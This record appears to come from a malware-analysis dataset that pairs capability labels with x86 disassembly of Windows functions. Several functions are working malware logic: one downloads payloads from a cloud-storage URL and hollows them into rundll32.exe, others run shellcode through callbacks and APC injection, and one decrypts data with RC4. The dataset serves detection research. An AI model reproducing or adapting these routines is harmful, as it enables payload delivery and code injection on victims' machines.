joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001050
Capabilities:
Allocate or change rwx memory
Create http request
Create process on windows
Create process suspended
Execute shellcode via indirect call
Read data from internet
Receive data
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x938
mov eax, dword [0x10013088]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 0
push 1
push 0x1001153c
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x1000124b
push 0
push 0x100
push 0
push 0
push str.https:__uyul.oss_cn_beijing.aliyuncs.com_in_31.bin
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x100010b8
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002cfc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x8ec]
push eax
push 0x5fb
lea ecx, [ebp - 0x608]
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000123f
cmp dword [ebp - 0x8ec], 0x5fb
jne 0x1000123f
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
push 0x44
lea edx, [ebp - 0x938]
push 0
push edx
call fcn.10003f90
add esp, 0xc
lea eax, [ebp - 0x8e8]
push eax
lea ecx, [ebp - 0x938]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.rundll32.exe
mov dword [ebp - 0x938], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000124b
mov edx, dword [ebp - 0x8e8]
push 0x40
push 0x3000
push 0x5fb
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
push 0
test esi, esi
je 0x10001199
mov ecx, dword [ebp - 0x8e8]
push 0x5fb
lea eax, [ebp - 0x608]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x100011d0
mov edx, dword [ebp - 0x8e8]
push 0x8000
push eax
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0
mov eax, dword [ebp - 0x8e8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x8e4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [ebp - 0x8e8]
push edx
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002cfc
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x8e4]
lea eax, [ebp - 0x8d8]
push eax
push ecx
mov dword [ebp - 0x8d8], 0x10001
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x8e4]
lea edx, [ebp - 0x8d8]
push edx
push eax
mov dword [ebp - 0x820], esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x8e4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x8e4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x8e8]
push eax
call esi
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002cfc
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor al, al
pop esi
call fcn.10002cfc
mov esp, ebp
pop ebp
ret
Function at 0x10001260
Capabilities:
Allocate or change rwx memory
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ea1b
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.10004b50
mov eax, dword [0x10013088]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
push esi
push esi
push 1
push str.huorongbaba
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
cmp edi, esi
je 0x100012cb
push esi
push SysReAllocString
push esi
push esi
push str.https:__uyul.oss_cn_beijing.aliyuncs.com_in_312.bin
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, esi
jne 0x100012d5
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x100013bb
xor eax, eax
mov dword [ebp - 0x1024], esi
mov dword [ebp - 0x1020], esi
mov dword [ebp - 0x101c], eax
mov dword [ebp - 4], eax
lea esp, [esp]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1010]
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000133b
mov edx, dword [ebp - 0x1014]
mov eax, dword [ebp - 0x1014]
push edx
lea ecx, [ebp - 0x1010]
push ecx
push esi
lea eax, [ebp + eax - 0x1010]
lea esi, [ebp - 0x1024]
call fcn.10001540
mov esi, dword [ebp - 0x1020]
cmp dword [ebp - 0x1014], 0
ja 0x100012f0
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push edi
call ebx
mov ebx, dword [ebp - 0x1024]
cmp ebx, esi
je 0x100013ac
push 0x40
mov edi, esi
push 0x1000
sub edi, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10001388
test ebx, ebx
je 0x10001381
push ebx
call fcn.10002cf1
add esp, 4
mov eax, 1
jmp 0x100013bb
push edi
push ebx
push esi
call fcn.1000b010
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDesktopsW]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
je 0x100013b9
push ebx
call fcn.10002cf1
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002cfc
mov esp, ebp
pop ebp
ret
Function at 0x100023f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000eaf0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x100024c2
mov eax, 3
mov word [esp + 0xc], ax
mov dword [esp + 0x14], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0x1c], cx
mov dword [esp + 0x24], esi
push edx
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x40], 1
call fcn.10001820
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x100024ae
mov eax, dword [esp + 8]
cmp eax, esi
je 0x100024ae
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [esp + 0x1c]
push eax
call esi
lea ecx, [esp + 0xc]
push ecx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0x1c]
push edx
call esi
lea eax, [esp + 0xc]
push eax
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002640
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000ea90
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x10002727
mov eax, 3
mov word [esp + 0x1c], ax
mov dword [esp + 0x24], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0xc], cx
mov dword [esp + 0x14], esi
push edx
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x40], 1
call fcn.10001820
mov ecx, dword [ebp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.10001820
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10002713
mov ecx, dword [esp + 8]
cmp ecx, esi
je 0x10002713
mov edx, dword [ecx]
push esi
mov esi, dword [esp + 0x10]
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0x24]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x28]
mov dword [eax + 8], esi
mov esi, dword [esp + 0x2c]
mov dword [eax + 0xc], esi
mov eax, dword [edx + 0x30]
push ecx
call eax
test eax, eax
mov eax, dword [esp + 8]
push eax
jns 0x1000273c
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [esp + 0xc]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [esp + 0xc]
push ecx
call esi
lea edx, [esp + 0x1c]
push edx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10002770
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000ea90
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x1000287d
mov eax, 3
mov word [esp + 0x1c], ax
mov dword [esp + 0x24], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0xc], cx
mov dword [esp + 0x14], esi
push edx
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x40], 1
call fcn.10001820
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10002869
mov eax, dword [esp + 8]
cmp eax, esi
je 0x10002869
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [ecx + 0x28]
call eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
cmp ax, word [esp + 0x14]
jne 0x10002845
lea ecx, [esp + 0xc]
push ecx
call esi
lea edx, [esp + 0x1c]
push edx
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xc]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push eax
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002cfc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10013088]
jne 0x10002d06
repz ret
jmp fcn.1000400a
Function at 0x10008a45
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10013088]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10005b6c
and dword [ebp - 0x14], 0
cmp dword [0x10014e70], 0
mov dword [ebp - 0x18], eax
jne 0x10008af8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10008ba0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10008ba0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10014e70], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10014e74], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10014e78], eax
call edi
push eax
call esi
mov dword [0x10014e80], eax
test eax, eax
je 0x10008af8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10014e7c], eax
mov eax, dword [0x10014e7c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10008b51
cmp dword [0x10014e80], ecx
je 0x10008b51
push eax
call esi
push dword [0x10014e80]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10008b51
test ebx, ebx
je 0x10008b51
call edi
test eax, eax
je 0x10008b48
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10008b48
test byte [ebp - 8], 1
jne 0x10008b51
or dword [ebp + 0x10], 0x200000
jmp 0x10008b84
mov eax, dword [0x10014e74]
cmp eax, dword [ebp - 0x18]
je 0x10008b84
push eax
call esi
test eax, eax
je 0x10008b84
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10008b84
mov eax, dword [0x10014e78]
cmp eax, dword [ebp - 0x18]
je 0x10008b84
push eax
call esi
test eax, eax
je 0x10008b84
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10014e70]
call esi
test eax, eax
je 0x10008ba0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10008ba2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002cfc
leave
ret
Function at 0x401a10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str._system32777.dll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401a7f
cmp dword [ebp - 0x118], 0
je 0x401a7f
jmp 0x401ae3
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401ae3
mov dword [ebp - 0x11c], 0x15f
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x439954], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x439970], ecx
mov dword [ebp - 0x11c], 0x15f
mov dword [ebp - 0x11c], 0x15f
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x43996c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.004013b0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401a7f
mov esp, ebp
pop ebp
ret

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x407054], 1
mov dword [0x407058], 1
mov dword [0x40705c], 1
mov dword [0x407048], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x401415
mov eax, 0
jmp 0x4014af
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x401438
mov eax, 0
jmp 0x4014af
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x40145a
cmp eax, 0x20b
je 0x40147f
jmp 0x4014aa
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x40146c
mov eax, 0
jmp 0x4014af
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014af
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x401497
mov eax, 0
jmp 0x4014af
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014af
mov eax, 0
leave
ret

Function at 0x401a18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.00402a48
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.00402a48
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x402568
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402587
mov eax, 0
jmp 0x4025cb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4025aa
mov eax, 0
jmp 0x4025cb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4025c6
mov eax, 0
jmp 0x4025cb
mov eax, 1
leave
ret
Function at 0x4025cd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40262c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402624
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402624
mov eax, dword [ebp - 4]
jmp 0x402640
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402601
mov eax, 0
leave
ret
Function at 0x402a88
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [0x407040]
mov dword [esp + 0x4c], eax
xor eax, eax
mov dword [esp], str.NTDLL.DLL
mov esi, dword [esp + 0x70]
call sub.KERNEL32.dll_GetModuleHandleW
push edx
mov ebx, eax
mov dword [esp + 4], str.NtAllocateVirtualMemory
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
mov edi, eax
push ecx
mov dword [esp], ebx
mov dword [esp + 4], str.NtQueueApcThread
call sub.KERNEL32.dll_GetProcAddress
push ebp
push ebp
mov ebp, eax
mov dword [esp], ebx
mov dword [esp + 4], str.NtCreateThreadEx
call sub.KERNEL32.dll_GetProcAddress
push edx
push edx
mov dword [esp], ebx
mov dword [esp + 4], str.NtWaitForSingleObject
mov dword [esp + 0x3c], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
push ecx
mov dword [esp], ebx
mov dword [esp + 4], str.NtClose
mov dword [esp + 0x38], eax
call sub.KERNEL32.dll_GetProcAddress
push ebx
push ebx
mov ebx, eax
mov eax, dword [esp + 0x74]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x48]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0xffffffff
call edi
sub esp, 0x18
test eax, eax
jne 0x402c35
mov edi, dword [esp + 0x40]
mov ecx, dword [esp + 0x74]
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0x3c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x40]
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1f03ff
mov dword [esp], eax
call edx
sub esp, 0x2c
test eax, eax
jne 0x402c35
mov eax, dword [esp + 0x40]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], 0
mov dword [esp], eax
call ebp
sub esp, 0x14
test eax, eax
jne 0x402c35
mov eax, dword [esp + 0x44]
test eax, eax
je 0x402c2b
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
call eax
sub esp, 0xc
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [esp + 0x4c]
sub eax, dword [0x407040]
je 0x402c46
call fcn.00401760
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402d98
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push edi
mov ecx, 8
push esi
mov esi, 0x405044
push ebx
sub esp, 0x250
mov eax, dword [0x407040]
mov dword [esp + 0x24c], eax
xor eax, eax
lea edi, [esp + 0x2c]
mov ebx, dword [esp + 0x260]
rep movsd dword es:[edi], dword [esi]
mov edx, eax
mov byte [esp + eax + 0x14c], al
and edx, 0x1f
mov dl, byte [esp + edx + 0x2c]
mov byte [esp + eax + 0x4c], dl
inc eax
cmp eax, 0x100
jne 0x402dc6
xor esi, esi
xor edi, edi
movzx eax, byte [esp + esi + 0x14c]
add eax, edi
add al, byte [esp + esi + 0x4c]
movzx edi, al
lea eax, [esp + 0x14c]
add eax, esi
inc esi
mov dword [esp + 4], eax
lea eax, [esp + 0x14c]
add eax, edi
mov dword [esp], eax
call fcn.00402c50
cmp esi, 0x100
jne 0x402de6
mov edi, dword [esp + 0x264]
xor esi, esi
xor eax, eax
add edi, ebx
cmp edi, ebx
je 0x402e7d
lea edx, [esi + 1]
lea ecx, [esp + 0x14c]
movzx esi, dl
add al, byte [esp + esi + 0x14c]
movzx eax, al
lea edx, [ecx + eax]
mov dword [esp + 0x1c], eax
mov dword [esp + 4], edx
lea edx, [ecx + esi]
mov dword [esp], edx
call fcn.00402c50
mov eax, dword [esp + 0x1c]
mov dl, byte [esp + eax + 0x14c]
add dl, byte [esp + esi + 0x14c]
movzx edx, dl
mov dl, byte [esp + edx + 0x14c]
xor byte [ebx], dl
inc ebx
jmp 0x402e2b
mov eax, dword [esp + 0x24c]
sub eax, dword [0x407040]
je 0x402e91
call fcn.00401760
mov eax, dword [esp + 0x264]
add esp, 0x250
pop ebx
pop esi
pop edi
ret